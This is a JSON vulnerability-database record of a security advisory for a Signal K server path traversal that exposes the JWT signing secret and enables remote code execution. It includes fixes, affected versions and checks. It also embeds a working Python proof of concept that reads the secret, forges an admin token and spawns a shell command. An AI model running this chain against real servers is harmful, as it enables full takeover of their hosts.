{"id":"GHSA-4xm8-rg9h-jhq2","kind":"vulnerability","aliases":["GHSA-4xm8-rg9h-jhq2"],"related":[],"title":"Signal K resources API path traversal can disclose the JWT signing secret and enable remote code execution","description":"### Summary\n\nPath traversal in the Signal K resources and applicationData APIs lets an\nunauthenticated or low-privileged user read, write and delete files outside\nthe storage root. Reading <config>/security.json discloses the JWT signing\nsecret, enabling admin token forgery and remote code execution. \n\n### Details\n\n## Description\n\nThe v2 REST resources API `GET /signalk/v2/api/resources/:resourceType/:resourceId` passes `resourceId` to `FileStore.getResource()` without validation. `getResource()` builds the file path with `path.join(this.resources[type].path, itemUuid)` followed by `readFile` + `JSON.parse`, so a `%2F`-encoded multi-level traversal (`..%2F..%2F..%2F..%2F`) escapes the resource storage directory and returns any JSON file on the server (source: `src/api/resources/index.ts:559-600`, `packages/resources-provider-plugin/src/filestorage.ts:115-125`).\n\nBecause the JWT signing secret is stored in plaintext in `<config>/security.json` (generated at `src/tokensecurity.ts:271`, persisted via `saveSecurityConfig` at `src/security.ts:377`), an unauthenticated attacker on deployments with `allow_readonly=true` (a supported, UI-toggleable configuration granting anonymous read access) can:\n\n1. **Read `<config>/security.json`** — disclosing the JWT signing secret (512-hex) and user password hashes.\n2. **Forge an admin JWT** — HS256-sign `{\"id\":\"admin\"}` with the disclosed secret; accepted by `/skServer/loginStatus` (`userLevel: \"admin\"`) and all admin-protected endpoints (`adminAuthenticationMiddleware`, `src/tokensecurity.ts:593`, applied at `src/tokensecurity.ts:953`).\n3. **Gain remote code execution** — `POST /skServer/providers` (admin) accepts a provider of type `Execute`; `packages/streams/src/execute.ts:93` executes it via `spawn('sh', ['-c', command])` at creation time. The provider persists to `settings.json` and survives restarts.\n\nOn default deployments (`allow_readonly=false`), step 1 returns 401 to anonymous users but succeeds with any readonly user token.\n\n## Suggested fixes\n\n1. Validate `resourceId` against a strict whitelist (for example, UUID format) in `src/api/resources/index.ts` before any storage call, including PUT/DELETE.\n2. In `FileStore.getResource/setResource/deleteResource`, canonicalise with `path.resolve()` and reject results outside `this.resources[type].path`.\n3. Store the JWT signing secret outside the API-readable config directory, in a dedicated key file with mode 0600.\n4. Consider gating provider types that execute commands (`Execute`) behind an explicit opt-in.\n\n### Proof of concept\n\nFully local testbed. Start the server, enable `allow_readonly=true`, then run:\n\n```python\n#!/usr/bin/env python3\nimport base64, hashlib, hmac, json, time, urllib.request\nBASE = \"http://127.0.0.1:3000\"\nCMD  = \"id > /tmp/sk-pwned\"\n\n# 1) unauthenticated traversal read of security.json\np = \"/signalk/v2/api/resources/notes/..%2F..%2F..%2F..%2Fsecurity.json\"\nsk = json.load(urllib.request.urlopen(BASE + p))[\"secretKey\"]\n\n# 2) forge admin JWT\nb64 = lambda b: base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nh = b64(json.dumps({\"alg\":\"HS256\",\"typ\":\"JWT\"}).encode())\nc = b64(json.dumps({\"id\":\"admin\",\"iat\":int(time.time())}).encode())\ntok = h+\".\"+c+\".\"+b64(hmac.new(sk.encode(), (h+\".\"+c).encode(), hashlib.sha256).digest())\nreq = urllib.request.Request(BASE+\"/skServer/loginStatus\", headers={\"Authorization\":\"JWT \"+tok})\nassert json.load(urllib.request.urlopen(req))[\"userLevel\"] == \"admin\"\n\n# 3) add an Execute provider -> spawn('sh','-c',CMD)\nprov = {\"id\":\"poc-rce\",\"enabled\":True,\"logging\":False,\"type\":\"Execute\",\n        \"options\":{\"type\":\"ws\",\"dataType\":\"SignalK\",\"command\":CMD}}\nreq = urllib.request.Request(BASE+\"/skServer/providers\", data=json.dumps(prov).encode(),\n                             headers={\"Authorization\":\"JWT \"+tok,\"Content-Type\":\"application/json\"}, method=\"POST\")\nprint(urllib.request.urlopen(req).read())    # provider created; /tmp/sk-pwned now exists\n```\n\nReproduction verified independently on master `340d5bb6` (Node 22 / macOS), including restart persistence. PoC artifacts are available on request.\n\n### Impact\n\nUnauthenticated access (with `allow_readonly=true`) leads to full compromise of the server process: arbitrary JSON file read, admin takeover, arbitrary command execution with server privileges, and persistent re-execution after restart. All signalk-server releases and all published versions of the bundled/standalone resources-provider prior to 2.34.0 are affected with the patched version as 2.34.0 fix","summary":"Signal K server's resources API does not validate resource IDs, so a crafted request reads any JSON file on the server, including the JWT signing secret. With that secret an attacker forges an admin token and adds an Execute provider that runs shell commands.","severity":"critical","cvss":9.8,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"signalk-server","fixed":["2.34.0"],"affected":">= 2.0.0, < 2.34.0","ecosystem":"npm"},{"name":"@signalk/resources-provider","fixed":["1.5.3"],"affected":">= 1.0.0, < 1.5.3","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["cwe-22","marine","nodejs","npm","package","self-hosted","signalk","signalk-server"],"not_affected_if":["no-network-exposure","resources-provider-1.5.3-or-later","signalk-server-2.34.0-or-later"],"how_to_check":"- Check the installed version with `npm ls signalk-server` and `npm ls @signalk/resources-provider`\n- Confirm whether `allow_readonly` is enabled in the server security settings (unknown if the sources give no path)\n- Look for an unexpected provider of type `Execute` in `settings.json`","fix":"- `signalk-server` moves to `2.34.0`\n- `@signalk/resources-provider` moves to `1.5.3`","status":"open","published_at":"2026-10-30T22:57:22+00:00","first_seen_at":"2026-10-30T23:02:03+00:00","triaged_at":"2026-10-30T23:02:45+00:00","updated_at":"2026-10-30T23:02:45+00:00","category":"package","confidence":0.85,"triage":{"at":"2026-10-30T23:02:45Z","model":"claude-haiku-5-5","output":{"fix":"- `signalk-server` moves to `2.34.0`\n- `@signalk/resources-provider` moves to `1.5.3`","reach":"network","title":"Signal K server: path traversal exposes JWT secret, enabling remote code execution","impact":"high","summary":"Signal K server's resources API does not validate resource IDs, so a crafted request reads any JSON file on the server, including the JWT signing secret. With that secret an attacker forges an admin token and adds an Execute provider that runs shell commands.","audience":"businesses","category":"package","nicknames":[],"who_cares":["signalk-server","signalk","npm","self-hosted","marine","nodejs"],"confidence":0.85,"fix_status":"available","needs_auth":"unknown","worst_case":"Attacker reads JWT secret, forges admin access, runs shell commands on server","analyst_note":"","how_to_check":"- Check the installed version with `npm ls signalk-server` and `npm ls @signalk/resources-provider`\n- Confirm whether `allow_readonly` is enabled in the server security settings (unknown if the sources give no path)\n- Look for an unexpected provider of type `Execute` in `settings.json`","plain_action":"","needs_analyst":false,"not_affected_if":["signalk-server-2.34.0-or-later","resources-provider-1.5.3-or-later","no-network-exposure"],"who_is_affected":"Teams that run Signal K server, a marine data server that is often exposed on boats, at shore stations or on networks. Affected versions are signalk-server from 2.0.0 before 2.34.0 and the resources provider from 1.0.0 before 1.5.3. The worst case needs read-only anonymous access (allow_readonly=true), but on default settings any readonly user token also reaches the same traversal.","user_interaction":"no","needs_special_setup":"unknown","severity_if_unknown":"critical"},"cost_usd":0.000929,"input_tokens":6024,"output_tokens":653,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-125':196C '-22':33B '-600':193C '/security.json':119C,207C,240C '/setresource/deleteresource':363C '/signalk/v2/api/resources':141C '/signalk/v2/api/resources/notes':448C '/skserver/loginstatus':268C,503C '/skserver/providers':290C,544C '/tmp/sk-pwned':440C,565C '/usr/bin/env':426C '0600':394C '1':238C,325C,340C,441C '115':195C '127.0.0.1':436C '2':252C,359C,459C '271':211C '2f':167C,173C,174C,175C,176C,449C,450C,451C '2fsecurity.json':452C '3':284C,374C,514C '3000':437C '340d5b':573C '377':217C '4':395C '401':327C '4xm8':20A,25A '512':246C '559':192C '593':279C '93':299C '953':283C 'accept':266C,292C 'access':236C 'add':82B,515C 'admin':79B,126C,255C,261C,270C,274C,291C,461C,484C,513C 'admin-protect':273C 'adminauthenticationmiddlewar':277C 'alg':475C 'allow':224C,321C,420C 'anonym':234C,329C 'api':4A,50B,100C,139C,383C 'api-read':382C 'appli':280C 'application/json':556C 'applicationdata':99C 'assert':508C 'attack':76B,220C 'author':505C,550C 'b':465C,468C,470C 'b64':463C,473C,481C,492C 'b64encode':467C 'base':435C,456C,502C,543C 'base64':429C 'base64.urlsafe':466C 'behind':404C 'build':151C 'c':305C,480C,491C,496C,521C 'call':356C 'canonicalis':364C 'cmd':438C,522C,540C 'code':16A,131C,287C 'command':89B,306C,402C,539C 'concept':412C 'config':385C 'configur':232C 'consid':396C 'content':554C 'content-typ':553C 'craft':58B 'creat':564C 'creation':308C 'cwe':32B 'data':545C 'datatyp':537C 'decod':471C 'dedic':389C 'default':319C 'delet':112C 'deploy':222C,320C 'descript':134C 'detail':133C 'digest':499C 'directori':181C,386C 'disclos':8A,120C,241C,264C 'enabl':14A,125C,419C,528C 'encod':168C,479C,488C,497C,548C 'endpoint':276C 'escap':177C 'exampl':348C 'execut':17A,84B,132C,288C,297C,300C,401C,403C,517C,533C 'exist':567C 'explicit':406C 'fals':323C,531C 'file':63B,113C,153C,186C,391C 'filestore.getresource':147C,362C 'filestore.getresource/setresource/deleteresource':361C 'fix':339C 'follow':161C 'forg':77B,253C,460C 'forgeri':128C 'format':350C 'fulli':413C 'gain':285C 'gate':397C 'generat':208C 'get':140C 'getresourc':150C 'ghsa':19A,24A 'ghsa-4xm8-rg9h-jhq2':18A,23A 'grant':233C 'h':472C,490C,495C 'hash':251C 'hashlib':430C 'hashlib.sha256':498C 'header':504C,549C 'hex':247C 'hmac':431C 'hmac.new':493C 'host':40B 'hs256':258C,476C 'hs256-sign':257C 'iat':485C 'id':55B,260C,439C,483C,524C 'import':428C 'includ':67B,357C 'independ':570C 'int':486C 'itemuuid':160C 'jhq2':22A,27A 'json':62B,185C,432C 'json.dumps':474C,482C,546C 'json.load':454C,509C 'json.parse':164C 'jwt':10A,69B,122C,199C,243C,256C,377C,462C,478C,506C,551C 'k':2A,46B,96C 'key':390C 'lambda':464C 'let':101C 'level':171C 'local':414C 'log':530C 'low':106C 'low-privileg':105C 'marin':34B 'master':572C 'method':557C 'mode':393C 'multi':170C 'multi-level':169C 'nodej':35B 'npm':36B 'opt':408C 'opt-in':407C 'option':534C 'outsid':114C,370C,380C 'p':447C,457C 'packag':37B 'packages/resources-provider-plugin/src/filestorage.ts':194C 'packages/streams/src/execute.ts':298C 'pass':144C 'password':250C 'path':5A,91C,154C,159C,373C 'path.join':156C 'path.resolve':366C 'persist':212C,312C 'plaintext':205C 'poc':526C 'poc-rc':525C 'post':289C,558C 'print':559C 'privileg':107C 'proof':410C 'protect':275C 'prov':523C,547C 'provid':85B,294C,311C,398C,518C,563C 'put/delete':358C 'python':425C 'python3':427C 'rce':527C 'read':60B,109C,118C,235C,239C,444C,562C 'readabl':384C 'readfil':163C 'readon':225C,322C,335C,421C 'reject':368C 'remot':15A,130C,286C 'reproduct':568C 'req':500C,511C,541C,561C 'request':59B 'resourc':3A,49B,54B,97C,138C,179C 'resourceid':143C,145C,342C 'resourcetyp':142C 'rest':137C 'restart':317C 'result':369C 'return':183C,326C 'rg9h':21A,26A 'root':117C 'rstrip':469C 'run':87B,424C 'savesecurityconfig':214C 'secret':12A,71B,74B,124C,201C,245C,265C,379C 'secretkey':458C 'security.json':446C 'self':39B 'self-host':38B 'server':30A,44B,47B,66B,189C,418C 'settings.json':314C 'sh':304C,520C 'shell':88B 'sign':11A,70B,123C,200C,244C,259C,378C 'signal':1A,45B,95C 'signalk':29A,41B,43B,538C 'signalk-serv':42B 'signalk-server':28A 'signalk/resources-provider':31A 'sk':453C 'sk.encode':494C 'sourc':190C 'spawn':303C,519C 'src/api/resources/index.ts':191C,352C 'src/security.ts':216C 'src/tokensecurity.ts':210C,278C,282C 'start':416C 'step':324C 'storag':116C,180C,355C 'store':203C,375C 'strict':345C 'succeed':332C 'suggest':338C 'summari':90C 'support':228C 'surviv':316C 'testb':415C 'this.resources':157C,371C 'time':309C,433C 'time.time':487C 'toggleabl':231C 'tok':489C,507C,552C 'token':80B,127C,337C 'travers':6A,92C,172C,443C 'true':226C,422C,529C 'typ':477C 'type':158C,296C,372C,399C,532C,535C,555C 'ui':230C 'ui-toggl':229C 'unauthent':103C,219C,442C 'urllib.request':434C 'urllib.request.request':501C,542C 'urllib.request.urlopen':455C,510C,560C 'user':108C,249C,330C,336C 'userlevel':269C,512C 'uuid':349C 'v2':136C 'valid':53B,149C,341C 'verifi':569C 'via':213C,302C 'whitelist':346C 'without':148C 'write':110C 'ws':536C","nicknames":[],"mitigations":[],"who_affected":"Teams that run Signal K server, a marine data server that is often exposed on boats, at shore stations or on networks. Affected versions are signalk-server from 2.0.0 before 2.34.0 and the resources provider from 1.0.0 before 1.5.3. The worst case needs read-only anonymous access (allow_readonly=true), but on default settings any readonly user token also reaches the same traversal.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"businesses","plain_action":null,"first_public_at":"2026-10-30T22:57:22+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-4xm8-rg9h-jhq2","url":"https://github.com/advisories/GHSA-4xm8-rg9h-jhq2","severity":"critical","published_at":"2026-10-30T22:57:22+00:00","modified_at":"2026-10-30T22:57:23+00:00","first_seen_at":"2026-10-30T23:02:03+00:00","fetched_at":"2026-10-30T23:02:03+00:00","note":null}],"documents":[{"id":26673,"url":"https://api.github.com/repos/SignalK/signalk-server/security-advisories/GHSA-4xm8-rg9h-jhq2","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":26674,"url":"https://github.com/SignalK/signalk-server/security/advisories/GHSA-4xm8-rg9h-jhq2","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"},{"id":26675,"url":"https://github.com/SignalK/signalk-server/commit/83689f040d7e90280dddc643f44f3e4ce348fbb1","title":"Patch: github.com","kind":"other","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Patch: github.com"},{"id":26672,"url":"https://github.com/SignalK/signalk-server/releases/tag/v2.34.0","title":"Release: github.com","kind":"release","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"fix","confidence":null,"note":"Release: github.com"}],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}